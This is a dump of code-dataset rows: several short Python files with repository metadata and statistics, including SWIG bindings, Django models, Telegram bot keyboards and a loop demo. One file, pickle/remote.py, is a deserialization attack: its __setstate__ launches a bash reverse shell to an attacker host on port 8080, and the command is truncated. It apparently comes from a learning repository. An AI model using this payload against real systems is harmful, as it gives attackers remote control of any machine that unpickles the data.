] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/Nortel-MsCarrier-MscPassport-DataCollectionMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/Nortel-MsCarrier-MscPassport-DataCollectionMIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module Nortel-MsCarrier-MscPassport-DataCollectionMIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/Nortel-MsCarrier-MscPassport-DataCollectionMIB
# Produced by pysmi-0.3.4 at Mon Apr 29 20:20:12 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 ... | 134.987952 | 3,370 | 0.763433 | 2,525 | 22,408 | 6.77505 | 0.092673 | 0.010288 | 0.014029 | 0.018706 | 0.460864 | 0.404571 | 0.392939 | 0.384989 | 0.353189 | 0.32817 | 0 | 0.087376 | 0.084747 | 22,408 | 165 | 3,371 | 135.806061 | 0.746745 | 0.017226 | 0 | 0 | 0 | 0 | 0.151183 | 0.064416 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.113924 | 0.056962 | 0 | 0.056962 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
f76361fcf068ba8c5aaf77e930edcf6ab7b3c971 | 8,423 | py | Python | python/ccsdslib.py | nhaflinger/CCSDSlib | 23bd332078c6c8a1a3e70bacdb9a81f0da9403a3 | [
"MIT"
] | 1 | 2021-06-10T13:14:27.000Z | 2021-06-10T13:14:27.000Z | python/ccsdslib.py | nhaflinger/CCSDSlib | 23bd332078c6c8a1a3e70bacdb9a81f0da9403a3 | [
"MIT"
] | null | null | null | python/ccsdslib.py | nhaflinger/CCSDSlib | 23bd332078c6c8a1a3e70bacdb9a81f0da9403a3 | [
"MIT"
] | null | null | null | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 4.0.2
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info as _swig_python_version_info
if _swig_python_version_info < (2, 7, 0):
raise... | 37.105727 | 146 | 0.721952 | 963 | 8,423 | 5.851506 | 0.182762 | 0.077019 | 0.079503 | 0.028571 | 0.274357 | 0.168234 | 0.106832 | 0.106832 | 0.091216 | 0.091216 | 0 | 0.001474 | 0.194586 | 8,423 | 226 | 147 | 37.269912 | 0.829157 | 0.071352 | 0 | 0.139073 | 1 | 0 | 0.036318 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291391 | false | 0 | 0.039735 | 0.218543 | 0.794702 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 3 |
f7682b4c63a997f5f74b79056666b93d448ba6b7 | 100 | py | Python | core-python/Core_Python/loop/PassLableDemo.py | theumang100/tutorials-1 | 497f54c2adb022c316530319a168fca1c007d4b1 | [
"MIT"
] | 9 | 2020-04-23T05:24:19.000Z | 2022-02-17T16:37:51.000Z | core-python/Core_Python/loop/PassLableDemo.py | theumang100/tutorials-1 | 497f54c2adb022c316530319a168fca1c007d4b1 | [
"MIT"
] | 5 | 2020-10-01T05:08:37.000Z | 2020-10-12T03:18:10.000Z | core-python/Core_Python/loop/PassLableDemo.py | theumang100/tutorials-1 | 497f54c2adb022c316530319a168fca1c007d4b1 | [
"MIT"
] | 9 | 2020-04-28T14:06:41.000Z | 2021-10-19T18:32:28.000Z | for i in range(1,101) :
if(i % 2 != 0):
pass
else:
print(i,"is even number") | 20 | 33 | 0.46 | 17 | 100 | 2.705882 | 0.882353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096774 | 0.38 | 100 | 5 | 33 | 20 | 0.645161 | 0 | 0 | 0 | 0 | 0 | 0.138614 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.2 | 0 | 0 | 0 | 0.2 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 3 |
f776538d6282674313ee6dc35b608e379b9e103d | 462 | py | Python | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | python/pickle/remote.py | zeroam/TIL | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | [
"MIT"
] | null | null | null | import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c "/bin/bash -... | 22 | 83 | 0.621212 | 66 | 462 | 4.030303 | 0.606061 | 0.052632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.08284 | 0.268398 | 462 | 20 | 84 | 23.1 | 0.704142 | 0.151515 | 0 | 0 | 0 | 0.083333 | 0.165312 | 0.067751 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0.083333 | 0.166667 | 0.083333 | 0.583333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
f78d4902a0d45c5cc02a1d98f8f1c4923725a7d8 | 307 | py | Python | FRCScouting/ContentPages/models.py | xNovax/FRCScouting.ca | caf2774e5854a7386eceb21e57b68c1f9c1f7d2d | [
"MIT"
] | 1 | 2019-06-13T03:07:15.000Z | 2019-06-13T03:07:15.000Z | FRCScouting/ContentPages/models.py | xNovax/FRCScouting.ca | caf2774e5854a7386eceb21e57b68c1f9c1f7d2d | [
"MIT"
] | 8 | 2019-07-04T16:19:06.000Z | 2019-07-12T17:37:51.000Z | FRCScouting/ContentPages/models.py | xNovax/FRCScouting.ca | caf2774e5854a7386eceb21e57b68c1f9c1f7d2d | [
"MIT"
] | null | null | null | from django.db import models
class GameManual(models.Model):
year = models.CharField(max_length=4)
name = models.CharField(max_length=140,null=True)
file = models.FileField(upload_to='files/')
image = models.ImageField(upload_to='images/')
def __str__(self):
return self.year;
| 27.909091 | 53 | 0.70684 | 41 | 307 | 5.097561 | 0.707317 | 0.143541 | 0.172249 | 0.229665 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015686 | 0.169381 | 307 | 10 | 54 | 30.7 | 0.803922 | 0 | 0 | 0 | 0 | 0 | 0.042345 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0.125 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
f7a06fe51e0efd77d944743626803b8bcb3f2920 | 356 | py | Python | manabi/apps/subscriptions/migrations/0019_refresh_all_receipts.py | aehlke/manabi | 1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b | [
"MIT"
] | 14 | 2015-10-03T07:34:28.000Z | 2021-09-20T07:10:29.000Z | manabi/apps/subscriptions/migrations/0019_refresh_all_receipts.py | aehlke/manabi | 1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b | [
"MIT"
] | 23 | 2019-10-25T08:47:23.000Z | 2022-01-30T02:00:45.000Z | manabi/apps/subscriptions/migrations/0019_refresh_all_receipts.py | aehlke/manabi | 1dfdd4ecb9c1214b6a70268be0dcfeda9da8754b | [
"MIT"
] | 7 | 2016-10-04T08:10:36.000Z | 2021-09-20T07:10:33.000Z | # Generated by Django 2.2.13 on 2021-04-05 01:30
from django.db import migrations
from django.conf import settings
def forwards(apps, schema_editor):
pass
class Migration(migrations.Migration):
dependencies = [
('subscriptions', '0018_add_itunes_receipt_field'),
]
operations = [
m... | 17.8 | 59 | 0.69382 | 43 | 356 | 5.627907 | 0.790698 | 0.082645 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 0.213483 | 356 | 19 | 60 | 18.736842 | 0.792857 | 0.129213 | 0 | 0 | 1 | 0 | 0.136364 | 0.094156 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0.090909 | 0.181818 | 0 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
e39124e26b71393012cab5f6f42ca8c04d6facf4 | 74 | py | Python | employee_det/chalicelib/model/__init__.py | cadenababa/employee-details | f537dd797e20fa8aaf6bfe3bef20106dd8073ad1 | [
"MIT"
] | null | null | null | employee_det/chalicelib/model/__init__.py | cadenababa/employee-details | f537dd797e20fa8aaf6bfe3bef20106dd8073ad1 | [
"MIT"
] | null | null | null | employee_det/chalicelib/model/__init__.py | cadenababa/employee-details | f537dd797e20fa8aaf6bfe3bef20106dd8073ad1 | [
"MIT"
] | 1 | 2020-12-13T07:16:28.000Z | 2020-12-13T07:16:28.000Z | from chalicelib.model.models import *
EmployeeDetails = EmployeeDetails() | 24.666667 | 37 | 0.824324 | 7 | 74 | 8.714286 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094595 | 74 | 3 | 38 | 24.666667 | 0.910448 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
e3931d83e8b52d54c8471cd83a5c8800c1cb4258 | 430 | py | Python | keyboards/default/product_menus.py | Asadbek07/e-commerce-bot | df6c1bb625becf95bf53f4cece12752dca9f7f67 | [
"Unlicense",
"MIT"
] | null | null | null | keyboards/default/product_menus.py | Asadbek07/e-commerce-bot | df6c1bb625becf95bf53f4cece12752dca9f7f67 | [
"Unlicense",
"MIT"
] | null | null | null | keyboards/default/product_menus.py | Asadbek07/e-commerce-bot | df6c1bb625becf95bf53f4cece12752dca9f7f67 | [
"Unlicense",
"MIT"
] | null | null | null | from aiogram.types import ReplyKeyboardMarkup, KeyboardButton
products_menu_uz = ReplyKeyboardMarkup(
keyboard = [
[
KeyboardButton(text="📥Savat"),
KeyboardButton(text="🚖Buyrtuma berish")
],
],
row_width=2,
resize_keyboard=True
)
products_menu_eng = ReplyKeyboardMarkup(
keyboard = [
[
KeyboardBu... | 13.870968 | 61 | 0.718605 | 47 | 430 | 6.489362 | 0.553191 | 0.236066 | 0.268852 | 0.295082 | 0.478689 | 0.177049 | 0 | 0 | 0 | 0 | 0 | 0.00551 | 0.155814 | 430 | 30 | 62 | 14.333333 | 0.823691 | 0 | 0 | 0.47619 | 0 | 0 | 0.102804 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
e3974f70139e1e89415433a3216c1d8c9eb5ca2b | 52 | py | Python | src/openrxn/__init__.py | alexrd/OpenRXN | f61817b2e9a7f83451817c4350e88faaa1de2914 | [
"MIT"
] | 5 | 2020-01-29T19:04:44.000Z | 2021-01-22T15:55:27.000Z | src/openrxn/__init__.py | ADicksonLab/OpenRXN | f61817b2e9a7f83451817c4350e88faaa1de2914 | [
"MIT"
] | null | null | null | src/openrxn/__init__.py | ADicksonLab/OpenRXN | f61817b2e9a7f83451817c4350e88faaa1de2914 | [
"MIT"
] | null | null | null | from pint import UnitRegistry
unit = UnitRegistry()
| 17.333333 | 29 | 0.807692 | 6 | 52 | 7 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.134615 | 52 | 2 | 30 | 26 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.